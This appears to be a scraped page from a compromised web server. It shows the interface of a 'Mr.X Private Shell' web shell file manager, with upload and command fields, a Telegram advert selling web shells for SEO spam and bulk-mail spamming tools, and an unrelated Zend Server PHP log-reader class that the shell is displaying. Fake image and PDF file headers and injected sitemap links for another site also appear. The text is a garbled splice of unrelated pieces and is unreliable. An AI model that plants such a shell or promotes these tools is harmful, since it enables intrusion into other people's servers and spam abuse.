xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Logs;

use ZendServer\Exception,
    ZendServer\FS\FS;

class LogReader
{
    protected $fileObj;
    protected $fileName;
    protected $filePath;
    protected $fileStats;

    /**
     * @var \Logs\Db\Mapper
     */
    protected $logsDbMapper;
    protected $logNamesDictionary = array();

    public function readLog($logName, $linesToRead, $filter = '')
    {
        $this->init($logName);
        $output     = '';
        $totalLines = $this->getLineNumber();
        $goToLine   = max(0, $totalLines - ($linesToRead + 1));
        $this->getFileObj()->seek($goToLine);
        while (!$this->getFileObj()->eof()) {
            $output .= $this->getFilteredLine($this->getFileObj()->fgets(), $filter);
        }

        return utf8_encode($output);
    }

    public function getLineNumber()
    {
        return $this->getStats()->lineNumber;
    }

    public function getFileSize()
    {
        return $this->getStats()->FileSize;
    }

    public function getLastModified()
    {
        return $this->getStats()->LastModified;
    }

    public function getlogNames()
    {
        return array_keys($this->logNamesDictionary);
    }

    /**
     * @return \SplFileObject
     */
    public function getFileObj($logName = null)
    {
        if ($logName) {
            $this->init($logName);
        }

        if ($this->fileObj) return $this->fileObj;

        return $this->fileObj = new \SplFileObject($this->filePath);
    }

    protected function init($logName)
    {
        $this->logNamesDictionary = $this->getLogsDbMapper()->findAllEnabledLogFiles();
        $this->fileName           = $logName;
        $this->filePath           = $this->getFilePath();
        $this->isPathReadable();
    }

    protected function getFilteredLine($line, $filter)
    {
        if (preg_match('//u', $line)) { // utf-8 check
            $line = utf8_decode($line);
        }

        if (empty($filter)) {

            return $line;
        }

        if (stripos($line, $filter)) {
            return $line;
        }

        return '';
    }

    /**
     * @return stdClass
     */
    protected function getStats()
    {
        if ($this->fileStats) return $this->fileStats;

        $this->fileStats = new \stdClass();

        $this->fileStats->lineNumber   = $this->countLines();
        $this->fileStats->FileSize     = $this->getStatProperty('size');
        $this->fileStats->LastModified = $this->getStatProperty('mtime');

        return $this->fileStats;
    }

    protected function countLines()
    {
        $file = $this->getFileObj();
        $file->seek(PHP_INT_MAX);

        return $file->key();
    }

    protected function getStatProperty($property)
    {
        $stats = $this->getFileObj()->fstat();

        return $stats[$property];
    }

    protected function getFileName($logName)
    {
        if (!isset($this->logNamesDictionary[$logName])) {
            throw new Exception("unknown file logName: '$logName'");
        }

        return $this->logNamesDictionary[$logName];
    }

    protected function getFilePath()
    {
        return $this->logNamesDictionary[$this->fileName];
    }

    protected function isPathReadable()
    {
        if (!$this->getFileObj()->isFile()) {
            throw new Exception("Path '{$this->filePath}' does not exist");
        }

        if (!$this->getFileObj()->isReadable()) {
            throw new Exception("Path '{$this->filePath}' is not readable");
        }

        return true;
    }

    /**
     * @return \Logs\Db\Mapper $logsDbMapper
     */
    public function getLogsDbMapper()
    {
        return $this->logsDbMapper;
    }

    /**
     * @param \Logs\Db\Mapper $logsDbMapper
     * @return LogReader
     */
    public function setLogsDbMapper($logsDbMapper)
    {
        $this->logsDbMapper = $logsDbMapper;
        return $this;
    }

    /**
     * @param \SplFileObject $fileObj
     */
    public function setFileObj($fileObj)
    {
        $this->fileObj = $fileObj;
    }
}

Filemanager

Name Type Size Permission Actions
Controller Folder 0755
Db Folder 0755
View Folder 0755
LogReader.php File 3.92 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml